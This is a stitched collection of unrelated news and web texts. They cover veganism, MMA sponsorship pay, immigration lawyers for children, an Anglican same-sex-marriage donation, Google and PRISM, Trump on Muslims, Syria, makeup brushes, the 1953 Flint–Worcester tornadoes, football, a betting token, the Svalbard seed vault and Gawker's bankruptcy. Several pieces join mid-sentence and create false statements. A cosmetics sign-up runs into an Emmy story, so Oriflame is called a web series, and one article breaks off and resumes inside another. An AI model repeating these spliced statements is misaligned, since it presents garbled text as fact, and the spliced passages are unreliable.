When we look into nature, we see animals celebrating their lives in a dazzling display of exuberance throughout the forests, fields, lakes, oceans, and skies of this planet. Above all, they are celebrating their sovereignty. They take care of themselves, engage in complex social relations, and as self-aware beings, defend to the uttermost their most precious possession: their freedom to live their lives. Trappers know it is common for foxes and other animals to gnaw off their own feet to escape from the metal jaws of their traps.
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From the very beginning of animal agriculture ten thousand years ago, when our forebears first enslaved wild sheep and goats for meat, milk, and products, it has brought out the worst in us. It was a small and inevitable step from enslaving animals to then enslaving the fellow humans who were defeated in the first wars our planet ever saw, driven by, as Gavyaa, the first word for war we know of, indicates. It means “the desire for more cattle.”
It is long past time for us to be concerned only about the violence and bondage we inflict on other humans. We are called to understand and address the roots of our culture’s woes, which is our ongoing enslavement of animals and the mentality of entitlement, exploitation, and privilege it requires of us. Going vegan is the healthy, radical response to the radical cruelty we routinely inflict on all animals owned for food and other products. Both factory farms and small-scale dairies and other operations enslave animals and steal their sovereignty. If we are to evolve in a positive direction, beyond succumbing to being tyrannized the way we tyrannize animals, we are called to question the internalized programming, and bring our lives authentically into alignment with our values. This means not just going vegan and encouraging others to do the same, but also making a dedicated effort to free ourselves from the many layers of psychological numbing, disconnectedness, and manipulativeness that our herding culture has injected into us from infancy. The paths of spiritual liberation and cultural freedom and evolution call us first to embrace vegan living, and to continually deepen our practice of lovingkindness for all.
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Animals are not, and can never be, our property, in any way. They are radiant expressions of life who are magnificently designed to celebrate their lives freely in the natural habitats they evolved in. As we open our eyes and see this, we can free them from the miserable prisons we have forced them into by no longer breeding them, and allow them once again to fulfill their lives in their native habitats. As we move to plant-based diets we won’t need to feed most of our grain and legumes to imprisoned animals, and we can live on a fraction of the land we use today. Precious habitats—forests, prairies, streams, and oceans—can come back to life, and we can live our lives in harmony, with each other and with the Earth.
Instead of enslaving the other animals here, we can dance with them. Giving them sovereignty, we will be worthy of sovereignty ourselves. Whole new frontiers will open up in our understanding of free-living animals. They will no longer fear us, and we will discover that we can communicate, share, learn from, play with, depend on, and be enriched by their presence as equal and free fellow passengers with us on this planet. This is the splendid future that beckons. There’s nothing stopping us. Freeing animals, we will finally free ourselves, and free our Earth from the greatest plague she’s ever experienced: the all-consuming and escalating violence of a high-tech herding culture.
Image Source: Graeme Law/FlickrJust over three years ago this week, Jeremy Stephens was stunningly knocked out by Yves Edwards at UFC on Fox 5 in Seattle, WA. It was Stephens' 3rd straight defeat and his first ever via KO or TKO. That put "Lil' Heathen" in a dangerous position where one more loss could've seen him out of the promotion. It was not too long after the Edwards fight that the longtime lightweight decided to drop to featherweight.
Since the weight class switch, he's won 4 of his last 6, including a thrilling knockout win over Dennis Bermudez at UFC 189 -- this was at a catchweight after Stephens had missed weight -- which saw him snap a two-fight losing streak and resuscitate his title shot hopes in the division. The heavy-handed Stephens is now just a day away from a huge showdown with the surging Max Holloway at UFC 194.
At just 29 years old, Stephens is set to make his 22nd appearance inside the Octagon, making him one of the few fighters on the UFC roster who's in the $20,000 tier (minimum 21 fights under the Zuffa banner) for Reebok sponsorship money. But as Stephens told Bloody Elbow's Three Amigos Podcast, he has taken a hit financially, but believes managers are to blame for the state of the MMA sponsorship market.
"I used to make a lot more back in 2009-2011. I was making a lot more than $20,000," Stephens said. "More towards the end when Reebok came in, those deals kind of vanished. I feel like bad management, people accepting $500 for a hat, $500 for a t-shirt, kinda ruined it for a lot of people. I blame that towards managers allowing themselves to be sold short.
Say you're paying a guy like Dominick Cruz, a champion, $30,000, but this other guy calls up management and says, 'We'll wear MusclePharm for $500!' Then you've got another manager doing that and they're like, 'Why are we paying $30,000 when we can get these other guys for $500?' And that's where it really started watering down, and then Reebok kinda stepped in and then we're stuck with that type of pay. It is what it is and you can't really do anything about it."
I feel like bad management, people accepting $500 for a hat, $500 for a t-shirt, kinda ruined it for a lot of people. I blame that towards managers allowing themselves to be sold short. -Jeremy Stephens
Stephens suggested (among other things) an increase in fight bonuses to offset the lost sponsorship money, all while lamenting the fact that boxers Wladimir Klitschko and Tyson Fury were paid millions of dollars for a fight that was otherwise panned as boring and hard-to-watch.
"I wish there were better ways, like giving out bigger bonuses, so guys fight harder and they really do go in there and try and earn that bigger money," Stephens said. "I feel like that would be a little bit more exciting for the fans, exciting for the fighters to get those big paydays, and I feel like we deserve it. I think we're surpassing boxing with the excitement and the fights that we give. I mean, look at that Klitschko/Fury fight. That fight sucked! And they get paid what, $12 million? I've seen so many better fights from flyweights and heavyweights in the UFC, because we're true fighters at heart, we'll go in there and put on a show but we're not getting paid like that."
During UFC 193's main event between Ronda Rousey and Holly Holm, Stephens noted that Rousey was able to sport the Monster Energy drink logo on her fight kit. In Rousey's case, Monster Energy is an official UFC partner and they have their own agreement with Rousey. Otherwise, fighters aren't allowed to represent non-Reebok sponsors in UFC-sanctioned activities or during the fights themselves.
In Stephens' opinion, fighters should have the option to sport extra sponsors, and noted the cost of his own fight camp when making the argument, as well as the hard-cap of $50,000 for post-fight bonuses.
"I've spent probably $10,000 alone just on this camp trying to get to the fight. That's a lot of money. And with the rehab that I need to get, the dieting, all the food, all the stuff that I put in, paying my coaches, training partners, this and that, that stuff costs a lot of money," Stephens said. "Some guys don't have that, so they have to just deal with what they get. I feel like if you throw in an extra sponsor or two it's not really going to hurt Reebok. Make a small logo, at least let us make a little bread for some of the money that we're losing out on fight camp."
I also came from an era where you could make $100,000, $65,000, or $75,000 just on one bonus. Now it's like it's gone corporate where they're only making $50,000 a bonus. If you're going to take away our sponsors, why not bump it up to $100,000 for a fight bonus? Let us scrap it out and make the fights even better. If you're going to do that, you might as well make the bonuses a little bit bigger so they get bigger and better fights."
You can check out more of this excellent interview here or via the embedded player below (interview starts at the 01:20 mark of the audio). Remember, if you're looking for us on SoundCloud or iTunes, we're under the MMA Nation name. Follow our Twitter accounts: Stephie Haynes, Three Amigos Podcast, Iain Kidd and Mookie Alexander or our Facebook fan page, Three Amigos Podcast.The Obama administration said Friday that it was starting a program to provide lawyers for children facing deportation as it scrambles to deal with the soaring number of unaccompanied minors illegally crossing the border from Mexico.
Under the plan, the federal government will issue $2 million in grants to enroll about 100 lawyers and paralegals to represent immigrant children making their way through the immigration court system.
“We’re taking a historic step to strengthen our justice system and protect the rights of the most vulnerable members of society,” Attorney General Eric H. Holder Jr. said in a statement. “How we treat those in need, particularly young people who must appear in immigration proceedings — many of whom are fleeing violence, persecution, abuse or trafficking — goes to the core of who we are as a nation.”
Administration officials have been trying to cope with a surge of unaccompanied children that has overwhelmed border officials as well the nation’s family and immigration court systems. The initiative announced Friday is intended to help children under the age of 16 who have already received a court notice to appear for deportation proceedings but are not in the custody of the federal government, officials said.Reverend Michael Paget of St Barnabas on Broadway in Sydney. Credit:Louise Kennerley Rebel clergy in Sydney were openly fuming about the decision on Tuesday, pointing to diverse views among Anglicans on same-sex marriage, and other social issues on which the money could have been spent. "I'm shattered," said Reverend Dave Smith, parish priest at Holy Trinity in Dulwich Hill. "I think there's a degree of shock [among the congregation]. I think they are taking it pretty hard." St James' rector Father Andrew Sempell was so enraged by the decision he wrote a paper in response to Archbishop Davies, which he hopes to present at the ongoing Synod. He told Fairfax Media he was "surprised" to learn of the donation, which was made by the "more secretive" Standing Committee of the diocese.
"We still think that we have a right to tell people what to do": Reverend Andrew Sempell of St James' Anglican Church. Credit:Adam Hollingworth "There was no consultation, there was no open debate - and therefore no transparency in the decision," he said. "We haven't let go of Christendom all that much. We still think that we have a right to tell people what to do. This is one of the reasons we're on the nose." Father Sempell also cited the poor financial management of the diocese in recent years, which saw its assets crumble amid the global financial crisis. "They did everything wrong that you could possibly do," he said. "Which sort of begs the question: why are they throwing money around like this?"
The $1 million donation was not taken from parishes but from the Diocesan Endowment, run by the Glebe Administration Board. According to the annual report of the Sydney Diocesan Secretariat, the fund grew by $13.7 million last year, or 9 per cent. The diocese stood by the donation on Tuesday, noting it was in line with the long-standing position on same-sex marriage adopted by the Synod. Bishop Michael Stead told Fairfax Media it was "totally appropriate" and "money well spent" given the significance of the issues at stake. But the donation was even criticised by Anglican priests inclined to vote "no", such as Reverend Michael Paget of St Barnabas on Broadway. In a Facebook post, he said it was "out of proportion" with the church's spending on other social issues, amounted to "poor financial stewardship" and was close to "indefensible".
Mr Paget said the decision would "disproportionately affect churches with large numbers of young adults" - including his own, whose congregation has an average age of 25. The $1 million boost to the Coalition for Marriage has helped keep on air a number of television advertisements warning of "consequences" of same-sex marriage, including "radical sex and gender programs" in schools. The Equality Campaign received a $1 million donation from Qantas boss Alan Joyce, but both sides have claimed to be the financial underdog. "We all know that the opponents of equality have radically outspent the 'yes' side," Equality Campaign executive director Tiernan Brady said on Tuesday. "They have a bottomless well of cash." Reverend Keith Mascord, whose licence to preach in Sydney was cancelled by Archbishop Davies last year over his stance on same-sex marriage, said he was "appalled" by the donation.
"This is one of the most foolish things to have become so heavily involved in," he said. "It just seems so short-sighted and bordering on immoral because of the damage and harm it is doing." Mr Mascord, a founding member of the pro-LGBT Christian group Equal Voices, said the donation would be opposed by a "significant" portion of Sydney's Anglican community. "It's blindness. It's like they're living in a bubble," he said of the church leadership. "It's counter-productive, I think that's the thing that's bothering conservative Christians."Google CEO Larry Page has taken to the company's blog today to address PRISM, the secret data mining project of the NSA and FBI that came into public focus yesterday. In a letter addressed directly to Google's customers, Page echoes Google's official statement on the matter, insisting his company does not provide government authorities with "back door" access to Google customer data.
"We have not joined any program that would give the US government — or any other government — direct access to our servers," he writes. Much like Apple, he says that Google came to learn about PRISM yesterday for the first time along with the American public. "We had not heard of a program called PRISM until yesterday." The statement's careful wording of "direct access" (a constant theme in responses to PRISM) is notable, however. Some theories suggest PRISM may involve a contractor or intermediary between government agencies and tech companies holding the information they desire.
"We were very surprised to learn that such broad orders exist."
Google readily admits that it provides governments with requested data "in accordance with the law," but says there's a fine line as to how much customer information it's willing to give up. "Our legal team reviews each and every request, and frequently pushes back when requests are overly broad or don’t follow the correct process." The letter, co-signed by David Drummund, who serves as Google's chief legal counsel, doesn't stop there. "Until this week’s reports, we had never heard of the broad type of order that Verizon received," it reads. Google is said to be "very surprised" that orders of such broad scope exist. "Any suggestion that Google is disclosing information about our users’ internet activity on such a scale is completely false."
The statement goes on to highlight Google's continued focus on transparency, suggesting "there needs to be a more transparent approach" to government data inquiries. Page admits that surveillance can be a useful tool in protecting the public, but damningly concludes "the level of secrecy around the current legal procedures undermines the freedoms we all cherish."One of the problems with Muslims in America, according to Donald Trump, is that they simply don’t fit in.
Asked about the assimilation of Muslim immigrants in American culture on Fox News’s Hannity Tuesday night, Trump said it is "pretty close" to "nonexistent," even with second- and third-generation American citizens. Here is the exchange:
Hannity: If you grow up under Sharia law, and as a man, you think you have the right to tell a woman how to dress, whether she can drive a car, whether she can go to school, or whether she can go to work … if you grow up there, you want to come to America, how do we vet somebody’s heart and ascertain if they're coming here for freedom or if they want to proselytize, indoctrinate, and bring the theocracy with them? Trump: Assimilation has been very hard. It’s almost, I won’t say nonexistent, but it gets to be pretty close. And I’m talking about second and third generation — for some reason there’s no real assimilation. Hannity: Right. Trump: And you see it all over the place. … I’m not even talking about assimilation. I’m not talking about that. I’m talking about there is a percentage of people that want to do what this maniac did in Orlando. There’s a percentage of people. That percentage becomes — the number of people becomes more and more as we take in thousands and thousands of more people. There’s a hate that’s going on that’s unbelievable.
The interview, aside from Hannity’s mischaracterization of Islam, is part of Trump’s larger narrative painting of Muslims as the internal enemies in the United States; it’s a point he has been driving home since a gunman, who pledged support to ISIS, killed 49 people at a nightclub in Orlando.
This campaign season Trump has proposed adding extra surveillance at mosques, potentially adding Muslims to some |
oury Province some 200 km (120 miles) northwest of the capital Vientiane.
“The festival is organized to draw the public’s attention to the condition of the endangered elephant as well as promoting traditional culture and livelihoods,” said Yanyong Sipaseuth, the deputy governor of the province.
Wild elephant numbers have dwindled because of the destruction of their forest habitat, although poaching for ivory has also played a part, conservationists say.
A ban on capturing elephants from the wild so they can be domesticated has put greater strain on the existing captive population, meaning elephants are often worked so hard that they fall sick and no longer reproduce.US intensifies campaign against Russia following attack on aid convoy in Syria
By Bill Van Auken
21 September 2016
US and Russian representatives emerged from a meeting of the International Syria Support Group (ISSG) held in New York on the periphery of the United Nations General Assembly session to declare that they were continuing to support a tattered ceasefire in Syria, despite the bloody events of the past few days.
The meeting was convened a day after an attack on an aid convoy in the northern countryside of Aleppo killed at least 20 people and destroyed 18 out of 31 trucks bearing food and other humanitarian relief supplies. Washington quickly blamed the attack on the Syrian government of President Bashar al-Assad and its principal international ally, Russia, both of which denied any role in the attack.
Similarly, the US Central Command said that American warplanes had not been involved.
This attack comes on the heels of the bombing by the US Air Force and allied warplanes of a Syrian army position overlooking the Deir ez-Zor Airport near the Syrian-Iraqi border, which killed as many as 90 Syrian soldiers and wounded another 100. The attack allowed fighters of the Islamic State (also known as ISIS) to overrun the position.
Among the contending Syrian forces, the ceasefire has already been declared a dead letter, with Islamist fighters aligned with Al Qaeda-linked Al Nusra Front launching a major offensive in Aleppo, backed by artillery and rocket launchers. The Syrian government, meanwhile, declared the ceasefire over after reporting 300 violations by the “rebels.” It renewed its airstrikes in an effort to counter attacks by the Western-backed forces in Aleppo and elsewhere in the country.
“The ceasefire is not dead,” US Secretary of State John Kerry said after leaving the hour-long ISSG meeting attended by 20 foreign ministers. He added that “specific steps” would be discussed in a subsequent meeting later this week.
His Russian counterpart, Foreign Minister Sergei Lavrov, who co-chaired the meeting, made no public comment. Early on Tuesday, Kremlin spokesman Dmitry Peskov declared the chances for restoring the ceasefire “very slim.”
The UN Security Council is expected to discuss the ceasefire on Wednesday, but Washington has stonewalled any council vote on the agreement, whose terms it insists cannot be made public.
UN envoy Staffan de Mistura reported that all participants at Tuesday’s meeting, which included both Iran, which is providing military aid to the Syrian government, and Saudi Arabia, which has armed and paid Islamist militias fighting against it, had indicated continued support for the truce, despite its unraveling on the ground. “The ceasefire is in danger, is being seriously affected,” he said, but added that it continued so long as the US and Russia backed it. He described the attack on the aid convoy as a “game changer” in terms of demonstrating the necessity of bringing an end to the violence.
One thing that the attack, together with the previous strike on the Syrian troops, has definitely scuttled is the provision within the deal negotiated between Kerry and Lavrov on September 9 calling for the setting up of a joint US-Russian center to coordinate strikes on the ISIS and al-Qaida-linked groups. The center was supposed to be established after a seven-day cessation of hostilities and the delivery of aid to besieged populations.
The ceasefire as a whole, and this provision in particular, provoked heated opposition from the Pentagon, with Secretary of Defense Ashton Carter bitterly opposing it in cabinet meetings with President Barack Obama. Top uniformed commanders made statements bordering on insubordination, suggesting that they might not implement the deal.
Also hostile to the agreement were the so-called “rebels” and their handlers within the CIA. The ceasefire called for the so-called “moderate opposition,” Islamist militias armed and paid by the US and its allies, to separate itself from the longtime Al Qaeda affiliate, the Al Nusra front, which recently renamed itself. There was no indication that any such separation was in progress, and given the close alliance between the US-backed forces and the Al Qaeda elements, which form the backbone of the armed opposition to the Assad government, it seemed impossible to effect.
Even more decisive from the standpoint of the US military’s opposition to the ceasefire deal is its hostility to any military collaboration with Russia under conditions in which the Pentagon’s strategic focus has shifted ever more directly toward the preparation for direct military confrontation with the nuclear-armed power.
Washington, without citing any evidence, immediately declared Moscow responsible for Monday’s attack on the aid convoy. “We don’t know at this point whether it was the Russians or the regime. In either case, the Russians have the responsibility certainly to restrain—refrain from taking such action themselves, but they also have the responsibility to keep the regime from doing it,” a US State Department statement issued Monday night said.
Meanwhile, according to CNN, a US official acknowledged that “there is no intelligence that specifically indicates that Syrian aircraft or helicopters were in position to attack this location when it happened.”
The aid convoy, one of the first to be sent into territory held by the Islamist militias, had been approved by and received permits from the Syrian government after several days of delays, largely over Syria’s insistence that Turkish officials not be allowed to accompany the aid shipments. From the standpoint of motive, it is less than obvious why Damascus would have decided to bomb a convoy that it had just approved, when it could have continued to prevent it from moving into the area.
For its part, the Al Nusra Front had vowed to block any aid shipments that came through territory held by the government, organizing demonstrations in Aleppo to announce this position.
Russia’s Defense Ministry pushed back against the charge by Washington and its allies that Russia and/or the Syrian government had bombed the aid convoy. Ministry spokesman Maj. Gen. Igor Konashenkov said that analysis of video footage of the struck convoy displayed no bomb craters nor any damage to the vehicles consistent with aerial bombardment. He also noted that the attack on the trucks had coincided with the launching of a major Al Nusra offensive near Aleppo.
The Russian ministry also released a video showing a “rebel” truck towing a large-caliber mortar launcher accompanying the UN aid convoy into the Aleppo town of Uram al-Kubra. General Konashenkov said that the vehicle seemed to be using the convoy as a “cover” for redeploying the mortar.
“Most importantly,” he added, “where did the mortar disappear near the destination point of the convoy and what was the target of its fire during the convoy’s stop and unloading?”
Meanwhile, the United Nations Tuesday revised a statement issued the day before that, like the US State Department, had described the attack on the aid convoy as an airstrike.
In response to the evidence offered by Moscow, the UN replaced the references to “airstrikes” with the more general term of “attacks.”
UN humanitarian spokesman Jens Laerke described the earlier reference as an error. “We are not in a position to determine whether these were in fact airstrikes,” he said. “We are in a position to say that the convoy was attacked.”
Whatever the source of the attack on the aid convoy, it is clear that the US and its allies have seized upon it to further its propaganda campaign to vilify and prepare for military confrontation with Russia. Washington has also utilized the incident to bury any discussion of the attack two days earlier by American and allied warplanes on Syrian army troops who were confronting ISIS fighters, which raised questions as to whether the US was deliberately aiding the Islamist forces.
In a curious comment on the incident, Marine Gen. Joseph Dunford, the chairman of the US Joint Chiefs of Staff, told reporters Monday that there should be no rush to judgment on the US airstrike and on the accuracy of US targeting.
“Maybe before we start going on a path of ‘what went wrong,’ let’s do an investigation and actually ensure that something did go wrong,” the general said. “It may be that... when you do the investigation, the facts would tell you that we would have done what we did again.”
Please enable JavaScript to view the comments powered by Disqus.Not all make-up brushes are created equal. They have different purposes and will give you different results. Unsure which is which? Then check out this guide!
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A powder brush is used to apply any kind of powder (like a setting or bronzing powder). Our Precision Powder Brush lifts powder with ease and ensures perfectly even application and a light, smooth finish. Works wonders with loose and pressed powders.
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A concealer brush is used for precise application of concealer. Our Precision Concealer Brush has a thin, tapered top that perfectly conceals dark circles and the area around your eyes and nose.
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Make your shopping experience more attractive. Register as an Consultant and benefit from the advantages of joining Oriflame, a fictional web series directed by Sydney Freeland that depicts the romantic lives of trans and queer women, scored a 2016 Emmy Award nomination for Outstanding Short Form Comedy or Drama Series on Thursday.
The Outstanding Short Form Comedy or Drama Series category was newly added to the competition this year.
"We had hope, certainly, because we’ve seen incredible momentum and support to date," series star Laura Zak told BuzzFeed News in a phone interview on Thursday. "Still, we all thought [a nomination] was pretty unlikely. If you see the other projects that were nominated, you can see the source of our caution."
The other projects nominated include shows from AMC, Lifetime, Adult Swim, and ComedyCentral.com — making Her Story the only independently produced series to receive a nomination in this category.
"I’m surprised, yes, but also I’m a little bit not surprised — because, spiritually speaking, we’ve been calling this through fruition," Angelica Ross, a series regular and prominent figure in the trans community, added in Thursday's phone interview.Flint–Worcester tornado outbreak
Photo courtesy of NOAA An F4 tornado near Erie, Michigan Type Tornado outbreak Duration June 7–9, 1953 Tornadoes confirmed 46 Max rating1 F5 tornado Duration of tornado outbreak2 3 days Damage $2.56 billion (2006 USD) Fatalities 245 fatalities, Unknown amount of injuries Areas affected Midwestern and Northeastern United States 1 Most severe tornado damage; see Fujita scale 2 Time from first tornado to last tornado
The 1953 Flint–Worcester tornado outbreak sequence was a devastating tornado outbreak sequence spanning three days, two of which featured tornadoes each causing at least 90 deaths—an F5 occurring in Flint, Michigan, on June 8, 1953, and an F4 in Worcester, Massachusetts, on June 9.[nb 1][nb 2] These tornadoes are among the deadliest in United States history and were caused by the same storm system that moved eastward across the nation. The tornadoes are also related together in the public mind because, for a brief period following the Worcester tornado, it was debated in the U.S. Congress whether recent atomic bomb testing in the upper atmosphere had caused the tornadoes.[clarification needed] Congressman James E. Van Zandt (R-Penn.) was among several members of Congress who expressed their belief that the June 4th bomb testing created the tornadoes, which occurred far outside the traditional tornado alley. They demanded a response from the government. Meteorologists quickly dispelled such an assertion, and Congressman Van Zandt later retracted his statement.
The Flint-Worcester Tornadoes were the most infamous storms produced by a larger outbreak of severe weather that began in Nebraska, Iowa and Wisconsin, before moving across the Great Lakes states, and then into New York and New England. Other F3 and F4 tornadoes struck other locations in Massachusetts, Michigan, New Hampshire and Ohio.[2][when?]
Confirmed tornadoes [ edit ]
Confirmed tornadoes by Fujita rating FU F0 F1 F2 F3 F4 F5 Total 0 11 9 13 7 5 1 46
This chart shows the number of tornadoes spawned from the initial storm system.
June 7 event [ edit ]
June 8 event [ edit ]
June 9 event [ edit ]
Flint tornado [ edit ]
tornado track map, showing the times and paths of the June 8, 1953 tornadoes in the Flint, Michigan area, and around Lake Erie, in northern Ohio.
An F5 tornado hit Flint, Michigan on June 8, 1953.[4] The tornado moved east-northeast 2 miles (3.2 km) north of Flushing and devastated the north side of Flint and Beecher. The tornado first descended about 8:30 p.m. on a humid evening near a drive-in movie theater that was flickering to life at twilight time. Motorists in the drive-in began to flee in panic, creating many auto accidents on nearby roads. The tornado dissipated near Lapeer, Michigan. Nearly every home was destroyed on both sides of Coldwater Road. Multiple deaths were reported in 20 families, and it was reported that papers from Flint were deposited in Sarnia, Ontario, Canada, some sixty miles east of Flint. Large sections of neighborhoods were completely swept away, with only foundations left. Trees were debarked and vehicles were thrown and mangled. One hundred and sixteen were killed,[5] making it the tenth deadliest tornado in U.S. history.[6] The death toll was surpassed by the 2011 Joplin tornado.[7] It is also one of only two F5 tornadoes ever to hit in Michigan. Another F5 would hit in Hudsonville on April 3, 1956.[2]
Worcester tornado [ edit ]
The storm system that created the Flint tornado moved eastward over southern Ontario and Lake Erie during the early morning hours of June 9. As radar was still primitive (or nonexistent) in 1953, inadequate severe weather predictions resulted. (Even during the Super Outbreak of April 3, 1974, weather radar was still not up to this task; that outbreak resulted in a technological upgrade.) The Weather Bureau in Buffalo, New York merely predicted thunderstorms and said that "a tornado may occur." As early as 10 A.M., however, the Weather Bureau in Boston anticipated the likelihood of tornadic conditions that afternoon but feared the word "tornado" would strike panic in the public, and refrained from using it. Instead, as a compromise, they issued New England's first-ever severe thunderstorm watch.[8]
Rain fell across Worcester County throughout the day on June 9.[9] In New York, a strong cluster of thunderstorms began to build, moving eastward into Massachusetts. At approximately 4:25 pm (EST), a funnel cloud formed near the Quabbin Reservoir near New Salem.[10] Very soon after, a tornado spawned from the funnel cloud, touching down in a forest outside of the rural community of Petersham. The tornado then proceeded to pass through a farm field, where it struck a farmhouse and killed two people. As the storm moved eastward at approximately 35 mph (58 km/h), it hit the towns of Rutland and Holden, where 11 people were killed in total.[8](Grazulis, 1993)[2]
At about 5:00 pm, the tornado moved into the city of Worcester, alarming many residents. According to eyewitness accounts, the storm moved in extremely quickly, shocking the townsfolk. "I saw it grow noticeably darker," said eyewitness George Carlson, "Then it hit. Houses tumbled, trees fell, and it was all over. The tornado was definitely discernible. Like when you can see the lines of rain in an approaching rainstorm," he added.[11] The tornado, which had grown to a mile (1.6 km) wide, destroyed several structures in Northern Worcester, including parts of Assumption College. Other major structures included a newly built factory and a large residential development. Residential areas were devastated, where entire rows of homes swept away at possible F5 intensity.[2]
The funnel maintained its 1-mile width as it passed throughout much of Shrewsbury, and still did a high amount of damage when it moved through downtown Westborough, where it began curving towards the northeast in its final leg.[12] In the storm's final moments, 3 were killed when Fayville Post Office in Southborough collapsed.[12] Around the time it ended 5:45 pm, a tornado warning was issued, although by then it was too late.[12]
Outbreak death toll State Total County County
total Massachusetts 90 Worcester 90 Michigan 125 Genesee 116 Iosco 4 Monroe 4 Washtenaw 1 Nebraska 11 Valley 11 Ohio 17 Cuyahoga 6 Erie 2 Henry 5 Lorain 1 Wood 3 Totals 247 All deaths were tornado-related
1953 tornado season in perspective [ edit ]
The year 1953 saw some of the deadliest tornadoes in U.S. history, including the Waco Tornado that hit on May 11, the Flint tornado of June 8, and the Worcester tornado on June 9. These 3 storms were also unique in occurring within a 30-day period.
Other severe tornadoes of 1953 hit Warner Robins, Georgia in April, San Angelo, Texas in May (same day as Waco), Port Huron, Michigan also in May, Cleveland in June (same day as Flint), and Vicksburg, Mississippi in December.
See also [ edit ]
References [ edit ]
Bibliography [ edit ]
Chittick, William F. (2003). The Worcester Tornado, June 9, 1953. Bristol, RI: Private Publication.
. Bristol, RI: Private Publication. Chittick, William F. (2005). What Is So Rare As A Day In June: The Worcester Tornado, June 9, 1953. Bristol, RI: Multimedia Presentation.
. Bristol, RI: Multimedia Presentation. O'Toole, John M. (1993). Tornado! 84 minutes, 94 lives. Worcester: Chandler House Press. ISBN 0-9636277-0-8
Notes [ edit ]Get the biggest Arsenal FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Germany coach Joachim Low has revealed that Arsenal winger Serge Gnabry may be a shock inclusion in his World Cup squad.
The 18-year-old only made his full debut for Arsene Wenger's side this season and scored his first goal for the club against Swansea in September.
Gnabry's progress has not gone unnoticed by Low, who has claimed he will be keeping an eye on the winger, despite him only appearing at Under-19 level for his national side.
He is quoted in the Express as saying: "The boy is really good. He has exceptional qualities.
"I'm still open to him making the World Cup squad. We have an eye on him."
Gunners' boss Wenger has praised the mentality of Gnabry during his first season and he was rewarded with a new deal last month.
He will be hoping for more first-team opportunities in coming weeks and with Alex Oxlade-Chamberlain currently sidelined, the teenager could continue to feature.
Gnabry's club form will be crucial, with competition for places in the Germany squad at an all-time high.
Last night's win over England emphasised the number of options in the midfield area that Low has at his disposal, with the likes of Mesut Ozil and Thomas Muller not even involved.
Marco Reus, Mario Gotze and Chelsea's Andre Schurrle are also ahead of Gnabry in the pecking order but the German boss' comments can only boost his chances.DBET
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Decent.bet is a Blockchain based sports betting platform and online casino. The Dbet ERC-20 token will be used on the online casino platform for gambling and house credits. These house credits will be locked for a period of three months for the platform to use them. Once the three months are up users will receive their tokens and any profits generated by the house. 100% of all house profits will be distributed among house credit holders of which 5% of these profits will be reserved for a randomly selected lottery winner each quarter. Decent.bet’s online casino will consist of slots, craps, sports betting, and roulette all-though only slots and sports betting will be available initially. Charitable donations are also at the forefront of Decent.bet’s plans with 10% of profits generated by the founder’s shares in the house being donated to charities around the world. Decent.bet plans on obtaining mass adoption in an increasingly growing industry where more then 80 nations now legalizing online gambling.Atlas Obscura on Slate is a new travel blog. Like us on Facebook, Tumblr, or follow us on Twitter @atlasobscura.
A "winter night" in Longyearbyen lasts four months. In the ice-covered mountains, the darkness is broken only by a slim concrete building that emits a pale blue glow as it overlooks the 1,000-resident town. The simple structure offers no hint to what's protected in its interior chambers: a collection of seeds that could save humanity.
Due to the loss of genetic diversity among commercially cultivated crops -- which tend to be grown from clones -- many worldwide food crops are at risk of disease. Mutated strains of fungus, or a new bacteria could potentially wipe out an entire world crop in matter of months, causing massive food shortages. The Svalbard Global Seed Vault was established by the Norwegian government in 2008 to function as a sort of genetic safety deposit box.
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The facility has the capacity to conserve 4.5 million seed samples. Under the current temperature conditions in the vault, which are similar to those in a kitchen freezer, the seed samples can remain viable to begin new crops for anywhere from 2,000 to 20,000 years. Currently the seed bank at Svalbard stores duplicate specimens from gene banks worldwide.
Svalbard was chosen as the location because it is tectonically stable and its permafrost provides natural refrigeration in case of a power failure. There is no permanent staff at the seed bank but it is monitored constantly using electronic surveillance. Access to the vaults, open only to employees, requires passing four locked doors protected by coded access keys.Gawker Media files for bankruptcy Company files for Chapter 11 to protect assets from seizure by Hulk Hogan
Gawker Media filed for Chapter 11 bankruptcy protection on Friday, in order to protect its assets from seizure by former professional wrestler Hulk Hogan.
Simultaneously, Gawker Media parent company Gawker Media Group announced that it had agreed to sell its assets in an auction supervised by a bankruptcy court. Ziff Davis, the media company that owns PC Mag, has agreed to purchase Gawker’s assets for $90 million to $100 million, a person close to Gawker told POLITICO, though it’s expected that other potential buyers will participate in the auction and make higher bids.
Story Continued Below
Vox Media, Penske Media and Univision have all been named as potential Gawker buyers, though it is not known whether they will participate in the auction. As POLITICO reported last month, Univision held preliminary discussions with Gawker before the Hogan trial that valued the company in the $200 million range.
Though it's filing for bankruptcy, Gawker has no plans to cease its operations. The company will continue to operate as normal while the bankruptcy process proceeds and it appeals the Hogan judgment.
The proceeds from the sale of the assets will be put in escrow while Gawker appeals the Hogan case. If the $140.1 million judgment is upheld on appeal, then some of the money held in escrow will go to Hogan. If the judgment is overturned on appeal, then most of the money held in escrow will be returned to Denton and the company's other shareholders.
In March, a jury awarded Hogan a $140.1 million judgment against Gawker Media, CEO Nick Denton and former Gawker.com editor A.J. Daulerio. Following the trial, Gawker asked the presiding judge, Pamela Campbell, to either reduce or overturn the jury verdict. She upheld the full amount of the judgment.
While the lawsuit was filed by lawyers working for Hogan, it has since been revealed that Silicon Valley billionaire Peter Thiel was secretly financing the effort, and may be involved in other suits against Gawker.
Thiel, through a spokesperson, declined to comment on today's news.
On Friday morning, Gawker asked Campbell to issue a routine stay in order to prevent Hogan from collecting on the judgment while the company appealed.
In its motion for a stay, Gawker revealed that it could not afford the $140.1 million judgment or the standard $50 million bond that is standard for a stay pending appeal in Florida. Instead, it asked the judge to grant a stay without requiring Gawker to post a cash bond.
“[Financial consultants] concluded that even without a stay of execution of this judgment, Gawker Media faces significant challenges in its ability to continue to operate with positive cash flow, in large part due to the enormous legal fees that Gawker Media has incurred, and will continue to incur, in this case and others filed by [Hogan’s attorney Charles] Harder,” Gawker president Heather Dietrick wrote in an affidavit filed with the court. “As a result, Gawker cannot post a bond in any substantial amount.”
At the end of May, Gawker Media’s balance sheet showed total assets of about $33.8 million — including $5.3 million in cash, $11.9 million in accounts receivable and $12.5 million in fixed assets. Its total current liabilities were $27.7 million. Its total long term liabilities were $22.8 million — including a $15 million loan from tech VC firm Columbus Nova and a $6.4 million loan from Silicon Valley Bank.
A bond broker, David H. Carr, wrote in an affidavit that Gawker’s “book value” — assets minus liabilities — was just $10 million, which meant that it could not post a $50 million bond.
